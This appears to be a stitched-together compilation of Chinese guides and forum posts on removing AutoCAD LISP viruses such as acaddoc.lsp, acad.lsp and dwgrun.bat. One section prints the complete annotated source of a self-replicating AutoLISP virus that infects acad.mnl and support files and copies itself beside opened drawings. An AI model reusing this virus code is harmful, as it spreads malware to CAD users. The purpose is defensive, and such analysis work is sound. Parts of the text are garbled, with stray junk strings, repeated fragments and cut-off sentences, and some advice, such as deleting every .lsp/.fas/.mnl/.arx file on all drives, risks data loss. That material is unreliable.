cad杀毒程序
CAD中毒解决方案
CAD中毒解决方案一、背景介绍CAD(计算机辅助设计)是一种广泛应用于工程设计和创造领域的软件工具。
然而,CAD系统也存在一些安全风险,如恶意软件、病毒和黑客攻击等,这可能导致CAD系统中毒。
本文将介绍CAD中毒的常见原因和解决方案。
二、CAD中毒的常见原因1. 恶意软件感染:用户通过下载和安装来自不可信来源的CAD软件或者插件,导致恶意软件感染CAD系统。
2. 病毒攻击:黑客利用漏洞或者弱密码等方式入侵CAD系统,植入病毒程序进行攻击。
3. 文件损坏:CAD文件在传输或者存储过程中被破坏,导致CAD系统无法正常工作。
三、CAD中毒的影响1. 数据丢失:CAD中毒可能导致设计文件损坏或者丢失,给工程项目带来不可估计的损失。
2. 系统崩溃:恶意软件或者病毒攻击可能导致CAD系统崩溃,造成工作中断和生产延误。
3. 安全风险:CAD中毒后,黑客可能窃取敏感设计文件,威胁企业的商业机密。
四、CAD中毒解决方案1. 安全意识培训:加强员工的安全意识培训,教育他们避免下载和安装来自不可信来源的CAD软件或者插件。
2. 定期更新和升级:及时更新CAD软件和操作系统的补丁,修复已知漏洞,提高系统的安全性。
3. 强化密码策略:使用强密码保护CAD系统,定期更换密码,并避免使用易被猜测的密码。
4. 安全备份:定期备份CAD设计文件,并将备份数据存储在离线、安全的位置,以防止文件损坏和丢失。
5. 权限管理:限制用户对CAD系统的访问权限,确保惟独授权人员可以访问和修改设计文件。
6. 安全软件使用:安装并定期更新杀毒软件、防火墙和恶意软件检测工具,及时发现和清除潜在的威胁。
7. 安全审计:定期进行CAD系统的安全审计,检查系统是否受到恶意软件或者黑客攻击,并及时采取措施修复漏洞。
五、CAD中毒的预防措施1. 下载软件可信度:只从官方网站或者可信的软件供应商处下载CAD软件和插件,避免从非官方渠道下载,以防感染恶意软件。
CAD杀毒方法
1、在360安全卫士中,卸载CAD软件以及DWF等所有CAD的相关软件;
2、在360安全卫士中,电脑清理(全选)——清理——跳过风险项;
一键清理
清理注册列表(右下角选项,全选)
3、“我的电脑”——搜索(搜索选项具体见图片)“acad.lsp”、“acad.fas”、“acaddoc.lsp”、“acad.sys”、“acad.app.lsp”——彻底删除(shift+delete)
4、重启电脑
5、CAD安装
1.如果看到图纸文件夹内除了.dwg文件外,还有.fas .lsp .mnl .arx类型文件,如果不明其用途,一定要删除,拷贝别人图纸的时候,注意别把它们拷贝过来。
特别是通过网络共享打开对方文件夹内图纸时候,如果看见这类文件,切勿直接打开,须将图纸拷贝到自己电脑上再打开。
通俗的讲,只要不拷贝这类文件,99%不会中毒。
AUTOCAD病毒的清除方法acaddoc.lsp和acadapq.lsp
AUTOCAD病毒的清除方法acaddoc.lsp是一个专门针对CAD文件的病毒,在CAD软件使用中主要表现的情况如下:1、无法拷贝2、在命令行提示需要执行一个宏3、CAD会出莫名其妙的问题解决方法:关闭AutoCAD程序;搜索所有acaddoc.lsp和acadapq.lsp文件删除所有关acadapq.lsp(3,836字节) 和被感染的acaddoc.lsp(27字节) (看文件大小);重启AutoCAD,OKashan发表LZ还说少了一个步骤:没有处理acad.mnl文件,这样的清除并不彻底,下次再打开带毒的dwg文件(这里并非指dwg文件本身带毒,而是指在该dwg文件下有acaddoc.lsp文件存在)后,系统又会感染病毒,偶曾经对这个cad病毒的代码做过详细分析,下面是原文,有兴趣的朋友可以详细看看:最近自己的电脑中了CAD病毒,症状为打开一个dwg文件后,在该dwg文件所在目录下就会自动生成一个“acaddoc.lsp”文件,即使手工将其删除,下次打开dwg文件时又会自动生成。
如果把dwg文件和acaddoc.lsp文件一起复制到另外一部未感染CAD病毒的电脑上,只要一打开该dwg文件,则该电脑就会被感染。
因为这个CAD病毒是个lisp程序,花了些时间对病毒代码进行分析如下:-----------------下面是病毒代码-----------------------------(setq wold_cmd (getvar "cmdecho"))(setvar "cmdecho" 0)(setq wpath (findfile "base.dcl"))(setq wpath (substr wpath 1 (- (strlen wpath) 8))) ;wpath变量保存ACAD下support目录路径(setq wwmnlwpath (getvar "menuname")) ;获得当前菜单名,这句没有用处,下面并未使用wwmnlwpath变量(setq wnowdwg (getvar "dwgname")) ;获得当前打开图形文件名(setq wwjqm (findfile wnowdwg)) ;wwjqm变量保存当前打开图形文件的完整路径(setq wdwgwpath (substr wwjqm 1( - (strlen wwjqm) (strlen wnowdwg)))) ;wdwgwpath变量保存当前打开图形文件所在路径;;;alert( setq f ( open "c:\\boot.dat" "w")) ;f变量为boot.dat文件句柄,c盘根目录下boot.dat文件若存在则(write-line "[dang]" f) ;打开,不存在则创建,然后将当前打开图形文件所在路径和support(write-line (strcat "ff=" wdwgwpath) f) ;目录路径写入boot.dat文件(write-line (strcat "yy=" wpath) f)(close f)(setq boot (findfile "boot.dat")) ;获得boot.dat文件所在目录完整路径(if (/= boot "") (command "_-vbarun" "ThisDrawing.hh")) ;这句是要运行一个名为“ThisDrawing.hh”的宏,但该宏并不存在(setq wacadwpath (findfile "acaddoc.lsp")) ;wacadwpath变量保存当前加载的acaddoc.lsp文件所在目录(setq wacadwpath (substr wacadwpath 1(- (strlen wacadwpath) 11)))(setq wns1 "" wns2 "")(setq wlspbj 0) ;wlspbj变量是判断support目录下acaddoc.lsp文件是否已感染的;;; ;标志,已感染为1,未感染为0(setq wwjqm (strcat wpath "acaddoc.lsp")) ;wwjqm变量指向support目录下的acaddoc.lsp文件(if (setq wwjm (open wwjqm "r")) ;wwjm变量为打开support目录下的acaddoc.lsp文件的句柄,若打开(progn ;成功则进行处理(while(setq wwz (read-line wwjm)) ;逐行读取acaddoc.lsp文件内容,读取结束后,wns1中是倒数第2行(setq wns1 wns2 ) ;内容,wns2中是最后一行的内容(setq wns2 wwz))(if (> (strlen wns1) 14) ;判断wns1中从第8个字符开始的7个字符是否为“acadapq”,(if (= (substr wns1 8 7) "acadapq") ;若是则已感染(setq wlspbj 1)))(close wwjm)))(setq wlspmnl 0) ;wlspmnl变量是判断support目录下acad.mnl文件是否已感染的标志,;;; ;已感染为1,未感染为0(setq wwjqm (strcat wpath "acad.mnl")) ;wwjqm变量指向support目录下的acad.mnl文件(if (setq wwjm (open wwjqm "r" )) ;wwjm变量为打开support目录下的acad.mnl文件的句柄,若打开(progn ;成功则进行处理(while (setq wwz (read-line wwjm)) ;逐行读取acad.mnl文件内容,读取结束后,wns1中是倒数第2行内容(setq wns1 wns2 ) ;wns2中是最后一行的内容(setq wns2 wwz))(if (> (strlen wns1) 14) ;判断wns1中从第8个字符开始的7个字符是否为“acadapq”,若是则(if (= (substr wns1 8 7) "acadapq") ;已感染(setq wlspmnl 1)))(close wwjm) ;关闭acad.mnl文件))(if (= wlspmnl 0) ;若acad.mnl文件未感染,则写入加载病毒的代码到acad.mnl文件的(progn ;最后2行中(setq wwjqm (strcat wpath(strcat (chr 97) (chr 99) (chr 97)(chr 100) (chr 46) (chr 109)(chr 110) (chr 108)) )) ;障眼法,等于(strcat wpath "acad.mnl")(setq wwjm (open wwjqm "a"))(write-line (strcat "(load " (chr 34)"acadapq" (chr 34) ")" ) wwjm)(write-line "(princ)" wwjm)(close wwjm)))(defun wwriteapp ()(if (setq wwjm1 (open wnewacad "w"))(progn(setq wwjm (open woldacad "r"))(while (setq wwz (read-line wwjm))(write-line wwz wwjm1))(close wwjm)(close wwjm1))))(if (and (= wacadwpath wdwgwpath)(/= wacadwpath wpath)) ;若加载的acaddoc.lsp文件和图形文件同目录(progn(if (= 0 wlspmnl) ;acad.mnl文件未感染(progn(setq woldacad (findfile "acaddoc.lsp")) ;在下面调用wwriteapp子程序读取图形文件目录下的acaddoc.lsp文件(setq wnewacad (strcat wpath "acadapq.lsp")) ;的内容,在support目录下创建acadapq.lsp 文件并将acaddoc.lsp) ;文件的内容写入acadapq.lsp文件中;;else (acad.mnl文件已感染)(progn(setq woldacad (strcat wpath "acadapq.lsp" )) ;在下面调用wwriteapp子程序读取support目录下的acadapq.lsp文件(setq wnewacad (findfile "acaddoc.lsp")) ;的内容,写入图形目录下的acaddoc.lsp文件中))(if (= wlspbj 0) ;support目录下的acaddoc.lsp文件未感染(progn ;下面代码将加载病毒程序的代码写入acaddoc.lsp文件的最后2行中(setq wwjqm (strcat wpath "acaddoc.lsp" ))(setq wwjm (open wwjqm "a"))(write-line (strcat "(load " (chr 34)"acadapq" (chr 34) ")" ) wwjm)(write-line "(princ)" wwjm)(close wwjm)))(wwriteapp));;else (若加载的是support目录下的acaddoc.lsp文件)(progn(if (/= wnowdwg "Drawing.dwg" ) ;当前打开文件不是新建图形文件(progn(setq woldacad (findfile "acadapq.lsp")) ;在图形文件目录下创建acaddoc.lsp文件,将acadapq.lsp(setq wnewacad (strcat wdwgwpath "acaddoc.lsp")) ;文件的内容写入acaddoc.lsp文件中(wwriteapp)))))(setvar "cmdecho" wold_cmd)(princ) ;下面的代码又是个障眼法,没什么作用(setq strtopstr (strcat (chr 92) (chr 92) (chr 70)(chr 83) (chr 49) (chr 92)(chr 83) (chr 89) (chr 83)(chr 49) (chr 92) (chr 87)(chr 79) (chr 82) (chr 75)(chr 92) (chr 80) (chr 76)))-----------------病毒代码到此结束----------------------------从以上对病毒代码的分析可知,该病毒的病毒文件有2个,一个为acadapq.lsp,位于ACAD 安装目录下的support目录下,另一个为acaddoc.lsp,位于当前打开的dwg文件所在目录下,2个病毒文件的内容相同。
cad简单实效的杀毒法
把下面的程序复制到记事本,另存为为“52cad.lsp”(注意:必须是在能够看到扩展名的情况下,lsp扩展名才有用),保存之后,将此文件拖入到正在使用的cad,在命令行输入“52cad”即可按提示杀cad病毒。
(defun c:52cad (/ stol del RenameNext cl regpath supportpath jk-lsp yes-lsp )(defun stol (str / n lis str)(while (setq n (vl-string-search ";" str)) (setq lis (cons (substr str 1 n) lis)) (setq str (substr str (+ 2 n))) )(reverse (cons str lis)) )(setq regpath "HKEY_CURRENT_USER\\Software\\Autodesk\\AutoCAD") (setq supportpath (cons (vl-string-trim "\\" (getvar "dwgprefix"))(stol (vl-string-trim ";" (getvar "acadprefix"))) ) )(if (null (vl-registry-read regpath "jk-lsp")) (vl-registry-write regpath "jk-lsp""acad.lsp;acaddoc.lsp;acad.fas;acaddoc.fas;acad.vlx;acaddoc.vlx" ) )(setq jk-lsp (stol(vl-string-trim ";" (vl-registry-read regpath "jk-lsp")) ) )(if (null (setq yes-lsp (vl-registry-read regpath"yes-lsp"))) (vl-registry-write regpath "yes-lsp" "" ) )(defun del (file)(command "shell" (strcat "attrib -r \"" file "\"")) (while (not (vl-file-delete file))) )(defun Rename (file)(command "shell" (strcat "attrib -r \"" file "\"")) (while (not (vl-file-rename file(strcat (vl-filename-directory file) "\\"(getstring "\n请输入新文件名:") ) ) ) ) )(defun Next (file) (vl-registry-write regpath "yes-lsp"(strcat (vl-registry-read regpath "yes-lsp") file ";") ) )(defun cl (file / kword)(INITGET "Del Rename Next") (setq kword(getkword "\n删除(Del);重命名(Rename);加入到信任列表(Next):" ) )(cond ((= kword "Del") (del file)) ((= kword "Rename") (Rename file)) ((= kword "Next") (Next file)) ) )(foreach a supportpath (foreach b jk-lsp(setq file (strcat a "\\" b)) (if (vl-file-size file)(if (not (vl-string-search file yes-lsp))(progn (princ (strcat "\n发现" file "请处理:\n")) (cl file) )(princ (strcat "\n发现" file "已在信任列表中!\n")) )) ) )(princ "\nlsp病毒监控程序命令'52cad'!")(princ) ) (c:52cad)。
acaddoc
acaddoc.lsp病毒文件彻底清除方法(2012-05-20 23:33:17)转载▼分类:电脑知识标签:杂谈前言: 最近本人公司里流行一种CAD病毒,中毒后,CAD每次新开图均生成一个acaddoc.lsp 的病毒文件,虽破坏力不大,但烦不胜烦。
经研究病毒源码后,摸索出了一套清除该病毒的办法。
然后经过在数个同事机器上验证,该方法行之有效。
于是将杀毒方法成文,群发给部门同事,以下是原文。
一病毒简介:最近公司里流传一种cad病毒。
该病毒可被卡巴斯基和360杀毒软件查出。
卡巴斯基查出病毒名为Virus.ALS.Pasdoc.a,360杀毒软件查出病毒名为Trojan.Script.29327。
遗憾的是,卡巴斯基和360杀毒软件均不能将其彻底清除。
二中毒症状:机器中毒后,运行CAD时,每打开一个dwg文件,均在dwg文件所在目录下生成一个acaddoc.lsp的文件。
由于每次开图,病毒程序均进行一次病毒传播复制过程,因此使得CAD 开图时速度变慢。
用记事本查看CAD安装路径下的support目录下的任一*.lsp文件,如文件末尾含有与附件1相同的代码,则可判定为中毒。
三传播机理:通过分析病毒的源代码,初步了解其传播机理如下:如机器已中毒,CAD新打开dwg文件时,病毒程序自动加载。
并搜索CAD工作目录下的acad.mnl文件,感染同一目录下的*.mnl文件,搜索acad的support目录,并感染该目录下的所有*.lsp文件。
同时病毒在当前打开的dwg文件所在目录下生成acaddoc.lsp文件,以利于下次传播。
如本机未中毒,而新打开的dwg文件所在目录下有acaddoc.lsp文件,则病毒将感染上述目录下的*.mnl与*.lsp文件。
该病毒的最终目的是调用acadapq 与acadappp 两个非法程序。
至于这两个程序会干什么,暂未深入研究。
四清除步骤:1. 退出CAD。
2. 全盘搜索acadapq.*、、acadappp.*、acaddoc.* 文件,然后彻底删除上述文件。
acaddoc(整理).lsp病毒文件彻底清除方法.pptx
五 预防措施: 由于该病毒是通过读取 dwg 文件所在的目录下 acaddoc.lsp 来传播的。因为在接受
其他同事的文件夹时,应先检查该文件夹中是否包含上述病毒文件。如有,则删除之。同时 也应该确保传给其他同事的文件夹不要包含上述文件。
下的 acad.mnl 文件,感染同一目录下的*.mnl 文件,搜索 acad 的 support 目录,并感染该 目录下的所有*.lsp 文件。同时病毒在当前打开的 dwg 文件所在目录下生成 acaddoc.lsp 文 件,以利于下次传播。
如本机未中毒,而新打开的 dwg 文件所在目录下有 acaddoc.lsp 文件,则病毒将感 染上述目录下的*.mnl 与*.lsp 文件。
2
--犀利的分割线-- 上文中所说的样本文件里所含代码即一段以 “(setq flagx t) (setq bz "(setq flagx t)")”开头, 以“(load "acadapq") (princ) (load "acadappp.lsp") (princ)”结尾的代码,很好辨识,中招的同学不妨一试。
病毒会感染 support 目录下的 *.lsp 文件。因此建议新建一个文件夹,将常用的 lisp 程序放置在该文件夹下,同时在 CAD 选项中将其设置为工作搜索目录。 未装杀毒软件的机器应首先将杀毒软件装上(360 杀毒软件免费的),在接受他人传来的文 件后应首先杀毒。 建议不要直接打开公共盘上的 dwg 文件,应先下载到本机再打开。
学海无涯
前言: 最近本人公司里流行一种 CAD 病毒,中毒后,CAD 每次新开图均生成一个 acaddoc.lsp 的病毒文件, 虽破坏力不大,但烦不胜烦。经研究病毒源码后,摸索出了一套清除该病毒的办法。然后经 过在数个同事机器上验证,该方法行之有效。于是将杀毒方法成文,群发给部门同事,以下 是原文。
(dwgrun.bat类CAD病毒)杀毒方法
dwgrun.bat类CAD病毒如果在运行CAD时,发现很多快捷键与命令用不了(如B、X、ED等);CAD变得很慢;在系统启动时会自动运行一个脚本等等。
这说明你的电脑中了一个叫dwgrun.bat类CAD 病毒了。
该病毒利用CAD的读取机制,在第一次打开带有病毒的图纸后,该病毒即悄悄运行,并感染每一张新打开的图纸,将病毒文件到处复制,并生成很多名为acad.lsp的程序。
即便是重装CAD甚至重装系统都不能解决问题。
病毒感染计算机系统后,会在搜索AutoCAD软件数据库路径下的自动运行文件(acad.lsp)后,生成一个备份文件acadapp.lsp,其内容和自动运行文件一样。
打开CAD图纸时,软件就会运行加载该文件,同时在存放图纸文件的目录中生成两个文件(acad.lsp和acadapp.lsp)的副本。
此病毒有些顽固,常用的杀毒软件对它起不了作用,中毒后,重装软件或重装系统都不能解决。
但可以参考下面的步骤试试:1、打开CAD,使用AP命令,命令行输入ap,回车,查看CAD启动列表中第一项是否为acad.lsp或者acad.fas。
如果有,按照文件后面的路径,找到文件,关闭CAD再删除。
2、进入“我的电脑”/“搜索”,搜索范围最好为全盘,文件名分别如下:“winsys.ini、winfas.ini、acad.sys、acad.fas、dwgrun.bat、acad.lsp”,注意选择搜索隐藏区域(此病毒文件具有隐藏性,要把所有文件显示出来,不然搜索不到),搜索后删除即可。
无法删除的文件,可以用文件粉碎机或进安全模式。
3、打开注册表(运行regedit命令),查找所有包含“dwgrun”的键值,并删除此键值。
如果不懂操作或不敢操作注册表,也可以打开系统“开始菜单”/“运行”,输入msconfig 命令,查看是否含有dwgrun启动项,这就是CAD病毒,每次启动系统后病毒恢复,禁止该项!防范此类CAD病毒经验:如果中了病毒,一般客户的图纸目录下都含有acad.lsp、acad.sys或者acad.fas病毒文件,如果你直接双击DWG打开,你电脑的CAD就中毒了。
CAD病毒专杀软件分享
CAD病毒专杀软件分享每天积累一点,让自己更专业!关注CAD制图有问必答筑原cad病毒专杀是专为AutoCad软件开发的一款病毒专杀修复及免疫于一体的专杀工具!一.扫描病毒的流程如下:二.处理病毒1.acad.lsp 很多以(defun s::startup (/old_cmd 等开头的lsp病毒代码中毒后,打开文件自动建立acad.lsp文件等.2.acaddoc.lsp以 (setq flagx t) (setq bz'(setq flagx t)')开头lsp代码中毒后acad.mnl 及cad的support下的所有lsp文件某位都加上此段病毒代码.天正等软件无法启动.3.acad.fas版本1 有病毒样本,完美处理.1.病毒在启动CAD时会弹出一个显示时间并写有“党是不会亏待你”的对话框 2.注册表增加HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dwgrun 3.增加文件c:\WINDOWS\system32\copyfile.vbsc:\WINDOWS\system32\copy.sys(acad.fas副本)cad安装目录,很多子目录中有acad.fas和lcm.fas文件.版本2 本人无病毒样本,网友提供解决方法.1.注册表增加 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\sys:'C:\WINDOWS\system32\copyfile.vbs'2.增加文件系统目录中增加 winsys.ini、winfas.ini、dwgrun.batcad安装目录,很多子目录中有acad.sys、acad.fas、acad.ini版本3 有病毒样本,完美处理. 1.注册表增加HKCU\Software\FileKenHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup 写入BEI_ZHU值200302142.拷贝文件 C:\Program Files\AutoCAD 2004\Fonts\isohztxt.shx (acad.fas副本)C:\WINDOWS\DivX.finC:\WINDOWS\system32\SHFR.CMD3.修改文件acad.mnl文件中间增加 (setvar'cmdecho' 0) (command'slide')结尾增加 (princ)(if (null stol) (load 'lcm'''))acad.pgp文件中间增加 SLIDE, SHFR, 5,4.acad.vlx版本1 有病毒样本,完美处理.1. 打开图档会自动生成一个acad.vlx的文件 2.CAD目录的acetauto.lsp ai_utils.lsp acad.mnl文件中间被添加 (vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))3.Help目录增加logo.gif (acad.vlx文件的副本)版本2 本人无病毒样本,网友提供解决方法.1.破坏性的acad.vlx,打开CAD图纸,发现图纸上只有一句英文:MUST re_cover!以前画的图全没有了.2.运行re_cover就可以恢复被打乱隐藏的图纸3.全盘搜索acad.vlx删除常见问题:01. 新变种未知病毒如何查杀?假设病毒文件名为acad.fas,在黑名单中添加acad.fas名字,选项中选择放至回收站,手动搜索CAD搜索支持目录中的lsp、mnu文件是否感染病毒代码.如感染手动清除。
CAD病毒查杀方法教程怎么手动杀毒
CAD病毒查杀方法教程怎么手动杀毒病毒无处不在,随时入侵我们电脑,CAD也一样,那CAD文件病毒怎么清除?本文就来教大家使用手动设置查杀CAD病毒的方法,具体步骤请看下文。
CAD病毒查杀方法介绍:手动查杀CAD病毒:1、关闭CAD(一定要先关闭正在运行的CAD程序)。
2、搜索并删除acad.lsp、acadappp.lsp和acadapp.lsp这3个文件。
3、复制下面的代码在CAD命令行运行,以恢复被修改的系统变量默认值:01(setvar "zoomfactor" 40)02(setvar"mbuttonpan" 1)03(setvar"HIGHLIGHT" 1)04(setvar "fillmode" 1)复制代码4、用记事本打开CAD下的“acad.mnl”文件,将文件最后一行代码(load "acadappp")删去。
(如"acad.mnl"文件中无此行代码可忽略此操作)附:"acad.mnl"文件可能在下面的目录中,C:\Documents and Settings\×××\Application Data\Autodesk\AutoCAD 200×\R×.×\chs\Support其中×××是你登录系统时的用户名,200×和R×.×分别是CAD 的版本和版本代号。
(注意:目录C:\Documents and Settings\是系统隐藏文件夹)补充:CAD使用小技巧1、文字镜像如何设置转动与不转动A、在镜像前,输入MIRRTEXT指令B、输入新值0 代表不转动;输入新值1代表转动C、MIRRTEXT指令完成后,输入MI镜像指令就OK了2、CAD的版本转换A、CAD高版本可以打开所有低版本的图纸B、CAD低版本不可以打开高版本的图纸C、高版本转成低版本的方法,直接点击另存为,将文件类型可以改成任意的低版本D、将低版本转换成高版本,就比较复杂了,需要第三方软件,也就是版本转换器。
CAD插件清除
最佳答案:
CAD2007中存在的一个木马程序和一个广告程序,首先这个软件本身并没有病毒,由于一个男子本身对社会有报复心理,同时也是对自己的病毒技术有很强的自信心,于在他本人把CAD2007破解后加入一个木马程序和一个广告程序,也就是人们所知道的linkmedia和mssckets插件。
linkmedia插件的存在是基于mssckets插件存在的,而mssckets插件它本身并不叫mssckets而是由三个以TROJAN病毒开头的文件命令的,同时这三个病毒中有一个病毒文件是运用了两个不同的文件后缀后进行编辑的!$Pw@EC] 具体方法:方法一,如果你觉得没有什么大的防碍,可以在网上找一个叫“狗日的mssckets插件”处理程序,然后到安全模式下面杀毒,杀毒后用360扫描可以发现已经成功,之后新建一个受限账号,用那个账号去登陆,就不会再有任何问题(如果用管理员账号登陆,还是会激活病毒重新生成)!C(o]3):?
方法二:去网上下载一个WINDOWS清理助手(去天空下载,天空里面的本人已经用过没有任何负作用),然后到安全模式下面进行查杀,查杀后再用安全360进行扫描,你会发现mssckets插件扔然存在(这种现象可能只出在本人计算机里,第一次用WINDOWS清理助手的时候就可以安全清除,但是因为个人原因电脑启动后桌面没有任务栏及图标,进行系统还原后,才产生了要用360进行二次清除),不要紧直接点清理就没有了!ID+ o6/V8
还有一种方法记不清楚,不过这两种方法已经够了!这个方法对
CAD2007免激活版相当有用!。
如何彻底清除acad病毒
acad.fas与lcm.fas是在全部查找时找不到的,
请手动进入目录再行查找删除!
------------------------------Байду номын сангаас---
也可以在这里下载一个专杀工具
1 使用 killxf 杀毒
2 删除干净lcm.fas文件
3 搞定
教你如何彻底清除acad.lsp病毒?
教你如何彻底清除acad.lsp病毒老虎空间
步骤:
1.删除CAD\support\acadapp.lsp;
2.分别用记事本打开CAD\support\acad.lsp和CAD\support\acad.mnl,
1.它对电脑是没有任意的危害性!
2.它在8:00到18:00这段时间,对CAD没有任何影响的!
它唯一的副作用就是:
你的CAD在启动时会弹出一个显示时间的对话框
如果时间时不在8:00至18:00之间
还有可能伴随"移动"命令改变~等情况
在这时间内的临时解决方案为:
将电脑系统时间调整8:00就行了!
(有必时请关了CAD后再打开CAD)
彻底的解决方案为:(主要是acad.fas程序文件)
清除方法是删除干净acad.fas与lcm.fas两个文件!
如果删除不净下次启动是还是会生成,务必清理净!
常见问题是C:\Program Files\autocad***\目录下(以及子目录下)的
此病毒可能引起CAD中部分命令不能使用,严重的可能影响机器反映速度;
☆ 提示:为了防止中acad.lsp病毒,下次用别人的dwg文件时(K盘上此病毒很流行,大部分的目录都有),
解决zdm不能用两大招数,杀cad病毒,重新设置360
2、最近发现360杀毒软件导致zdm无法使用,原因是防火墙阻止应用程序无法加载,在设置中将后缀名arx、fas、lsp、mnl、dcl、pat文件加入到
白名单中就可以了。在安装zdm软件时也应这样做。
2)点击zdm软件图标进入cad,在命令行键入(load "kvcad")回车加载kvcad程序。或用appload命令加载c:\zdm20XX
目录下kvcad.fas文件
3)在命令行键入kvcad,执行命令kvdm软件。
如果没有感染cad病毒zdm软件具有防病毒的功能,会自动将启动运行的lsp mnl文件改为只读,防止病毒侵入。
1、最近发现有些用户由于中了cad病毒无法使用zdm软件,为此编写了这个kvcad杀病毒程序,请大家试用
本程序可以杀cad病毒
1)将该目录下你使用的acad版本的文件夹以及kvcad.fas文件拷贝到对应的c:\zdm20XX目录下,使用acad2007~2009
拷贝到c:\zdm2008,使用acad2010~2012拷贝到c:\zdm2010目录下。
CAD中毒解决方案
CAD中毒解决方案一、背景介绍CAD(计算机辅助设计)是一种广泛应用于工程、建造、创造等领域的设计工具。
然而,由于网络安全威胁的增加,CAD系统也成为黑客攻击的目标之一。
CAD中毒是指恶意软件或者病毒感染了CAD系统,导致系统运行异常或者数据丢失的情况。
为了保护CAD系统的安全和稳定运行,我们需要制定相应的解决方案。
二、CAD中毒的影响1. 系统崩溃:恶意软件可能会破坏CAD系统的核心文件,导致系统崩溃,无法正常使用。
2. 数据丢失:恶意软件可能会删除或者篡改CAD系统中的设计文件,导致重要数据丢失,影响工作发展。
3. 安全风险:恶意软件可能会窃取CAD系统中的敏感信息,如设计图纸、商业机密等,给企业带来巨大损失。
三、CAD中毒解决方案1. 安装可靠的防病毒软件:选择一款经过验证的防病毒软件,定期更新病毒库,及时发现和清除恶意软件。
2. 加强系统安全设置:设置强密码,限制用户权限,禁止未知来源的软件安装,提高系统的安全性。
3. 定期备份数据:定期备份CAD系统中的设计文件,确保数据的安全性和可恢复性。
4. 更新CAD软件和补丁:及时安装CAD软件和相关补丁的更新,以修复已知漏洞,提高系统的安全性。
5. 培训员工意识:加强员工对网络安全的意识培训,教育他们警惕恶意软件的攻击手段,避免点击可疑链接或者下载未知来源的文件。
6. 定期安全检查:定期对CAD系统进行安全检查,包括扫描恶意软件、检查系统日志等,及时发现和解决安全问题。
7. 网络隔离:将CAD系统与其他网络系统隔离,减少恶意软件传播的风险,提高CAD系统的安全性。
四、CAD中毒应急响应1. 即将隔离受感染的CAD系统,断开与网络的连接,阻挠恶意软件继续传播。
2. 启动备份数据,恢复受感染的CAD系统到最近一次备份的状态。
3. 运行防病毒软件进行全面扫描,清除恶意软件。
4. 分析感染源,追踪攻击者,采集相关证据,以便后续的安全调查和追责。
5. 加强对CAD系统的安全设置,修复系统漏洞,提升系统的安全性。
CAD病毒的通用杀毒方法
CAD病毒的通用杀毒方法(CAD杀毒acad.lsp病毒解决方法及预防措施等)2009年03月12日星期四 20:26关于网上流传的CAD病毒,特征为:自动生成acad.lsp ,acaddoc.lsp ,acadap.lsp,acad.fas,acad.mnl,acad.sys,lcm.fas,cad.fas,acad.ini等文件;在某时间出现“党不会亏待你”“成功完成复制!”;无法使用炸开、直线命令,鼠标中键不为缩放等等。
其特点均为lisp编写,由于打开CAD时会自动加载运行,所以造成一定程度的危害。
还有一个基于dwwin.exe或dwgrun.exe的病毒,特征是出现winfas.in,dwgrun.bat文件等,其实也是依靠.lsp文件来感染的,但传播方式是依靠.exe 文件,根据这个病毒特征来看,其实是作者水平不算高为实现目的硬生生拼凑的,中这个病毒只能说您安装的杀毒软件实在太差或者设置不合理。
此病毒通过下述方法无法彻底清除,需要使用优秀的杀毒和防御软件,如卡巴,微点等(瑞星就免了吧)。
------------------------------特点说明-------------------------------------------------通俗的解释其特点1.病毒不破坏DWG图纸文件,电脑中的图纸DWG文件照常可以使用。
2.病毒破坏CAD软件的配置,最好重新安装CAD。
3.部分病毒有改写同类文件特点,只要中毒,所有.lsp .mnl等文件逐渐均被改写,此类病毒危害最大。
------------------------------杀毒方法-------------------------------------------------通用杀毒方法将全硬盘、u盘、移动硬盘网络共享文件夹中的.fas .lsp .mnl .arx等类型文件全部删除即可。
具体方法如下:1.关闭CAD。
CAD病毒文件与杀毒方案
CAD的病毒文件与杀毒方案方法一:(1)全盘搜索acadapp.*、acadappp.*、acaddoc.*文件,然后彻底删除。
注意查找前在文件夹选项中设置“显示所有文件与文件夹”。
搜索时选择“查找所有文件及文件夹”,然后在“高级选项”里勾选“搜索系统文件夹”“搜索隐藏的文件及文件夹”。
(2)系统盘根目录下如有boot.dat文件,将其删除。
(3)进入C:\Documents and Settings\用户名\ApplicationData\Autodesk\Autocad20**\R1**\chs\Support目录,用记事本打开该目录下所有*.mnl文件,手动删除与病毒相同的代码(一般在文件末尾),然后保存。
修改后的mnl文件属性改为只读。
(4)进入CAD安装目录下的support目录,将该目录下的所有*.lsp文件同上处理。
方法二:解析ACADDOC.LSP病毒文件与杀毒方案CAD的病毒很多但都大同小异。
现就出现的ACADDOC.LSP病毒进行杀毒。
不用重新安装CAD的办法。
1、发现文件夹中多出ACADDOC.LSP说明你中毒了。
2、关闭CAD程序。
3、全盘查找*.fas *.lsp *.mnl *.arx文件,除了CAD安装目录以外的全部删除。
4、检查CAD安装目录文件的修改时间,把最近的几个文件中的病毒代码删除。
(用记事本打开)5、把CAD安装目录中的所有*.fas *.lsp *.mnl *.arx文件改为只读属性。
说明:1、ACADDOC.LSP病毒感染X:\Program Files\AutoCAD 20**\Support 文件夹下的3d.lsp;3darray.lsp;acad2010.lsp;acad2010doc.lsp;acadinfo.lsp;ai_utils.lsp;attredef.lsp;edge.lsp;mvsetup.lsp;sample-profile-util.lsp文件。
CAD中毒解决方案
CAD中毒解决方案一、背景介绍计算机辅助设计(Computer-Aided Design,CAD)是一种通过计算机系统进行产品设计和绘图的技术。
然而,由于计算机病毒的存在,CAD系统也面临着安全威胁。
本文将提供一种CAD中毒解决方案,旨在帮助用户保护他们的CAD系统免受病毒侵害。
二、CAD中毒的风险CAD中毒可能导致以下问题:1. 数据损坏:病毒可能破坏CAD文件,导致数据丢失或无法读取。
2. 系统崩溃:某些病毒可能会导致CAD软件崩溃,使用户无法正常使用。
3. 信息泄露:恶意软件可能窃取CAD文件中的敏感信息,造成机密泄露。
三、CAD中毒解决方案为了保护CAD系统免受病毒侵害,以下是一些解决方案:1. 安装可靠的杀毒软件选择一款可靠的杀毒软件并及时更新病毒库,以确保能够及时发现并清除潜在的病毒。
建议定期进行全盘扫描,确保CAD系统的安全。
2. 更新操作系统和CAD软件及时安装操作系统和CAD软件的更新补丁,以修复已知的漏洞和安全问题。
这样可以提高系统的安全性,并减少受到病毒攻击的风险。
